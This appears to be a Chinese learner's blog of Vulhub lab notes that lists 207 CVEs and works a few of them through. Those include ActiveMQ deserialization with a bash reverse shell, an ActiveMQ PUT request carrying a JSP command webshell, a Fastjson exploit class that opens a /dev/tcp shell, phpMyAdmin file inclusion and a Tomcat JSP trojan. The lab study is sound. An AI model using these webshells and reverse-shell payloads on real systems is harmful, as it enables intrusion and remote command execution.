Vulhub靶场练习

立个flag:以一周3个漏洞的练习为目标,进行练习,207/3=69周,哎呀,483天 我尽量缩短时间

  • 已完成:4

1.ActiveMQ 反序列化漏洞 (CVE-2015-5254)

漏洞原理

漏洞验证

访问环境

目标IP:8161/admin

漏洞利用

工具准备

https://github.com/matthiaskaiser/jmet/releases
需再同级目录下创建一个名为external的文件夹

命令测试

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/ceshi" -Yp ROME 192.168.168.128 61616

访问http://192.168.168.128:8161 /admin/browse.jsp?JMSDestination=event

反弹shell

netcat下载

https://www.cnblogs.com/linyufeng/p/13206252.html

发送bash弹shell的命令到服务器

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tvp/192.168.168.128/1234 0>&1 " -Yp ROME 192.168.168.128 61616

目前问题:并没有反弹shell成功

目前失败


2.ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞介绍

知识补充

ActiveMQ的web控制台

由下面三点构成

  • admin:管理员页面
  • api:接口
  • fileserver :储存文件的接口

漏洞原理

fileserver支持写入文件但不解析jsp,同时支持移动文件(MOVE请求);所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置

影响范围

  • ActiveMQ 5.x ~ 5.14.0

漏洞验证

查看activemq的绝对路径

通过抓包工具上传数据包

PUT /fileserver/2.txt HTTP/1.1
Host: 网站地址:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Cookie: JSESSIONID=xamzxopzi218qa4hm587oa5h
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 120976

<%@ page import="java.io.*"%>

<%
  out.print("Test<br>");

  String strcmd = request.getParameter("cmd");
  String line = null;

  Process p = Runtime.getRuntime().exec(strcmd);
  BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));

  while((line=br.readLine())!=null){
    out.print(line+"<br>");
  }
%>

将webshell移动到web目录下api文件下


目前失败,还没找到原因

3.Apereo CAS 4.1 反序列化 RCE 漏洞

4.AppWeb 身份验证绕过漏洞 (CVE-2018-8715)

5.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

6.Apache HTTP 服务器 2.4.48 mod_proxy SSRF (CVE-2021-40438)

7.Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)

8.Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)

9.Apache HTTPD 多后缀解析漏洞

10.Apache SSI 远程命令执行漏洞

11.Aria2 任意文件写入漏洞

12.Adobe ColdFusion 目录遍历漏洞 (CVE-2010-2861)

13.Adobe ColdFusion AMF 反序列化远程命令执行 (CVE-2017-3066)

14.Atlassian Confluence 路径遍历和命令执行漏洞 (CVE-2019-3396)

15.Confluence Server Webwork Pre-Auth OGNL表达式注入代码执行漏洞 (CVE-2021-26084)

16.Apache Couchdb 垂直权限提升 (CVE-2017-12635)

17.Couchdb 任意命令执行 (CVE-2017-12636)

18.Discuz 7.x/6.x 全局变量防御绕过导致代码执行

19.Discuz!X ≤3.4 任意文件删除漏洞

20.Django debug page XSS漏洞(CVE-2017-12794)分析

21.Django < 2.0.8 任意URL跳转漏洞 (CVE-2018-14574)

22.Django JSONField/HStoreField SQL注入漏洞

23.Django GIS SQL注入漏洞

24.Django QuerySet.order_by() SQL注入漏洞

25.DNS域传送漏洞

26.docker daemon api 未授权访问漏洞

27.Drupal < 7.32 “Drupalgeddon” SQL注入漏洞

28.Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞

29.Drupal Drupalgeddon 2 远程代码执行漏洞

30.Drupal 远程代码执行漏洞

41.Drupal 远程代码执行漏洞

42.Drupal XSS漏洞

43.Aapche Dubbo Java反序列化漏洞

44.ECShop 4.x collection_list SQL注入

45.ECShop 2.x/3.x SQL注入/任意代码执行漏洞

46.ElasticSearch 命令执行漏洞

47.ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞

48.ElasticSearch 插件目录穿越漏洞

49.ElasticSearch 目录穿越漏洞

50.ElasticSearch 写入 webshell漏洞

51.electron 远程命令执行漏洞

52. Electron WebPreferences 远程命令执行漏洞

53.fastjson反序列化导致任意命令执行漏洞

54.fastjson1.2.47远程命令执行漏洞

漏洞介绍

Fastjson是什么

阿里巴巴公开的一款json解析器

漏洞原理

  • autotype功能:允许用户再反序列化数据中通过”@type“制定反序列化的类型
  • Fastjson自定义的反序列化机制时会调用指定类中的setter方法及getter方法

影响版本

Fastjson≤1.2.47

漏洞验证

利用代码准备

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.168.128/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

需要将代码进行编译

55.ffmpeg任意文件读取漏洞/SSRF漏洞

56.ffmpeg任意文件读取漏洞

57.Jinja2 SSTI模板注入

58.Apache flink文件上传漏洞

59.Apache Flink jobmanager/ogs目录穿越漏

60.PHP-FPM Fastcgi未授权访问漏洞

61.GhostScript沙箱绕过(命令执行)漏洞

62.GhostScript沙箱绕过(命令执行)漏洞

63.GhostScript沙箱绕过(命令执行)漏洞1

64.GIT-SHELL沙盒绕过

65.Gita1.4.0目录穿越导致命令执行漏洞

66.Gitlab任意文件读取漏洞

67.Gitlab远程命令执行漏洞

68.gitlist0.6.0远程命令执行漏洞

69.G|ass fish任意文件读取漏洞

70.GoAhead远程命令执行漏洞

71.Gogs任意用户登录漏洞

72.H2 Database console未授权访问

73.Hadoop YARN ResourceManager未授权访问漏洞

74.OpenSSH用户名枚举漏洞

75.HeartBleed心脏出血

76.HTTPoxy漏洞

77.imagetragick命令执行漏洞

78.imagemagick PDF密码位置命令注入漏洞

79.Influxdb未授权访问漏洞

80.Jackson-databind反序列化漏洞

81.Java rmi codebase远程代码执行漏洞

82.Java RMi Registry反序列化漏洞(<=jdk8u111)

83.Java RMI Registry反序列化漏洞(<jdk8u232_b09)

84.JBoss JMXInvoker Servlet反序列化漏洞

85.JBoss5×/6x反序列化漏洞

86.JBoss4.x JBOSSMQ JMS反序列化漏洞

87.Jenkins-CI远程代码执行漏洞

88.Jenkins远程命令执行漏洞

89.Jetty WEB-INF敏感信息泄露漏洞

90.Jety通用 Servlets组件 Concat servlet信息泄露漏洞

91.Jet!wEB-INF敏感信息泄露漏洞

92.Atlassian jira模板注入漏洞

93.Jmeter rm反序列化命令执行漏洞(cVE-2018-1297)

94.Joomla3.4.5反序列化漏洞

95.Joomla3.7.0SQL注入漏洞

96.Jupyter Notebook 末授权访问漏洞

97.Kiana本地文件包含漏洞

98.Kiana原型链污染导致任意代码执行漏洞

99.Laravel Ignition2.5.1代码执行漏洞

100.libssh服务端权限认证绕过漏洞

101.Liferay Portal CE反序列化命令执行漏洞

102.Apache Log4 j Server反序列化命令执行漏洞

103.Magento2.2 SQL注入漏洞

104.mini_httpd任意文件读取漏洞

105.Mojarra JSF ViewState反序列化漏洞

106.mongo-express远程代码执行漏洞

107.Mysql身份认证绕过漏洞

108.Neo4j Shell Server反序列化漏洞

109.Nexus Repository Manager3远程命令执行漏洞

110.Nexus Repository Manager3远程命令执行漏洞

111.Nexus Repository Manager3远程命令执行漏洞

112.Nginx文件名逻辑漏洞

113.Nginx越界读取缓存漏洞

114.Nginx配置错误三例

115.Nginx解析漏洞

116.Node js目录穿越漏洞

117.node-postgres代码执行漏洞分析

118.stong权限绕过漏洞

119.Apache OfBiz反序列化命令执行漏洞

120.OpenSMTPD远程命令执行漏洞(CVE-2020-7247)

121.PHP 8.1.0-dev开发版本后门事件

122.PHP-CGl远程代码执行漏洞

123.PHP imap远程命令执行漏洞

124.PHP-FPM远程代码执行漏洞

125.PHP文件包含漏洞(利用phpinfo)

126.PHP XML实体注入

127.XDebug远程调试漏洞(代码执行)

128.PHPMAiler任意文件读取漏洞

129.phpmyadmin 4.8.1远程文件包含漏洞

漏洞介绍

形成原因

其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
详细原理、代码分析:https://www.cnblogs.com/leixiao-/p/10265150.html

漏洞验证

测试此漏洞是否存在

确定目标网站为 Linux系统后,访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

此网站存在远程文件包含漏洞

查看自己的登录账户


是个测试账户

写入命令,找到cookie值

shell连接


130.phpMyAdmin4.0.×-4.6.2远程代码执行漏洞

漏洞介绍

产生原因

php中preg_replace函数(执行一个正则表达式并实现字符串的搜索与替换)

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。

漏洞验证

131.phpmyadmin scripts/setup.php反序列化漏洞

132.phpunit远程代码执行漏洞

133.PostgreSQL提权漏洞

134.PostgreSQL高权限命令执行漏洞(CVE-2019-9193)

135.python pil远程命令执行漏洞( GhostButt)

136.python pil远程命令执行漏洞(viaGhostscript)

137.python unpickle反序列化漏洞

138.Ruby On Rails路径穿越漏洞

139.Ruby on Rails路径穿越与任意文件读取漏洞

140.Salt stack水平权限绕过漏洞

141.Salt stack任意文件读写漏洞

142.Saltstack命令注入漏洞

143.Redis4×/5×未授权访问漏洞

144.Rocket Chat MongoDB注入漏洞

145.rsync未授权访问漏洞

146.Ruby net::FTP模块命令注入漏洞(CvE-2017-17405)

147.Samba远程命令执行漏洞

148.scraped未授权访问漏洞

149.Apache Shiro1.24反序列化漏洞(CVE-2016-4437)

漏洞定义

shiro是什么

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理

序列化与反序列化

  • 序列化:把对象转化为字节序列的过程
  • 反序列化:把字节序列转化为对象的过程

shiro反序列化

  • Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
  • 攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

cookie处理流程

cookie值-->base64编码-->AES解密-->反序列化

payload构造顺序

恶意命令-->反序列化-->AES加密-->base64编码-->发送cookie

shiro特征(此处不懂,但感觉是重要的,先留着)

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

知识补充

  • Shiro<1.2.4-RememberMe反序列化漏洞。而它也被称为Shiro 550反序列化漏洞
  • 硬编码:将数据直接写入代码,进行编译开发。

漏洞验证

工具准备(脚本)

https://github.com/zhzyker/shiro-1.2.4-rce

crypto库的安装

如果pip3 install crypto后,运行命令提示没有安装crypto,请卸载:pip3 uninstall crypto,执行pip3 install pycryptodome

测试目标


bash -i >& /dev/tcp/192.168.168.128:8080/ 0>&1

这里暂时有点问题,还没解决

工具准备(自动化)

https://github.com/j1anFen/shiro_attack

测试目标


获取key

命令执行


150.Apache Shiro认证绕过漏洞

151.Apache Skywalking8、3.0SQL注入漏洞

152.Shellshock破壳漏洞

153.Celery<40 Redis未授权访问+ Pickle反序列化利用

154.Apache Solr XML实体注入漏洞

155.Apache Solr 远程命令执行漏洞

156.Apache Solr远程命令执行漏洞

157.Apache Solr veloci!y注入远程命令执行漏洞

158.Apache Solr Remote Streaming文件读取与SSRF漏洞

159.Apache Spark未授权访问漏洞

160.Spring Security Oauth2远程命令执行漏洞

161.Spring WebFlow远程代码执行漏洞

162.Spring data Rest远程命令执行漏洞

163.Spring messaging远程命令执行漏洞

164.Spring Data Commons远程命令执行漏洞

165.s2-001远程代码执行漏洞

166.s2-005远程代码执行漏洞

167.s2-007远程代码执行漏洞

168.s2-008远程代码执行漏洞

169.s2-009远程代码执行漏洞

170.s2-012远程代码执行漏洞

171.s2-013远程代码执行漏洞

172.S2-015远程代码执行漏洞

173.S2-016远程代码执行漏洞

174.S2-032远程代码执行漏洞

175.S2-045远程代码执行漏洞

176.S2-046远程代码执行漏洞

177.S2-048远程代码执行漏洞

178.S2-052远程代码执行漏洞

179.S2-053远程代码执行漏洞

180.Struts2 S2-057远程命令执行漏洞

181.Struts2 S2-059远程命令执行漏洞

182.Struts2 S2-061远程命令执行漏洞

183.Supervisor远程命令执行漏洞

184.ThinkPHP 2.x任意代码执行漏洞

185.ThinkPHP5 5.0.22/5.1.29远程代码执行漏洞

186.ThinkPHP5 5.0.23远程代码执行漏洞

187.ThinkPHP5 SQL注入漏洞/信息泄露

188.Tiki Wiki CMS Groupware认证绕过漏洞

189.Tomcat Put方法任意写文件漏洞

190.Apache Tomcat AJP文件包含漏洞(CVE-2020-1938)

适用版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞定义

  • 由于Tomcat默认开启的AJP服务(8009端口),但是Tomcat AJP 协议存在缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件
  • 如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),利用此漏洞进行文件包含,从而达到代码执行的危害。

漏洞验证

验证工具准备

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

测试目标

得出结果

存在Apache Tomcat AJP文件包含漏洞

知识补充


tomcat的目录结构。此漏洞的危害之一是:获取webapp目录中的任意文件
目前不足的是,不知道webapp下还有什么文件且是比较有危害的,首先得找找tomat有什么重要文件资料

修复方案

https://www.chaitin.cn/en/ghostcat


191.Tomcat弱口令

漏洞介绍

形成原因

tomcat支持通过后端部署war文件,所以我们可以将webshell上传到网站目录下

概念介绍

war包放在webapps或work目录下,tomcat启动后,war包会解压源代码来自动部署

使用条件


正常安装情况下,Tomcat 8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手动修改了上述属性后才可能出现攻击机会

  • 我的理解是:先点击manager App,有没有登录的弹窗,看有没有上传的页面,

漏洞验证

访问目标站点


我们以实现知道网站账户:tomcat 密码:tomcat

找到目标网站的上传点

制作木马

<%
if("thisispasswd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("tomcat")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    }
%>

上传木马

获取shell


192.Apache Unomi 远程表达式代码执行漏洞

193.uWSGI PHP目录穿越漏洞

194.uWSGI 未授权访问漏洞

195.Weblogic <10.3.6 wls-wsat'XMLDecoder E序列化漏洞

196.Weblogic WLS Core Components反序列化命令执行漏洞

197.Weblogic任意文件上传漏洞

198. Weblogic管理控制台未授权远程命令执行漏洞

199.Weblogic SSRF漏洞

200.Weblogic文件读取漏洞

201.Webmin远程命令执行漏洞

202.Wordpress4.6任意命令执行漏洞(PwnScriptum)

203.XStream反序列化命令执行漏洞

204.XStream反序列化命令执行漏洞

205.XXL-JOB executor未授权访问漏洞

206.zabbix latest.php SQL注入漏洞

207.Zabbix Server trapper命令注入漏洞

posted @ 2022-01-06 17:38  ceiling~  阅读(1100)  评论(0编辑  收藏  举报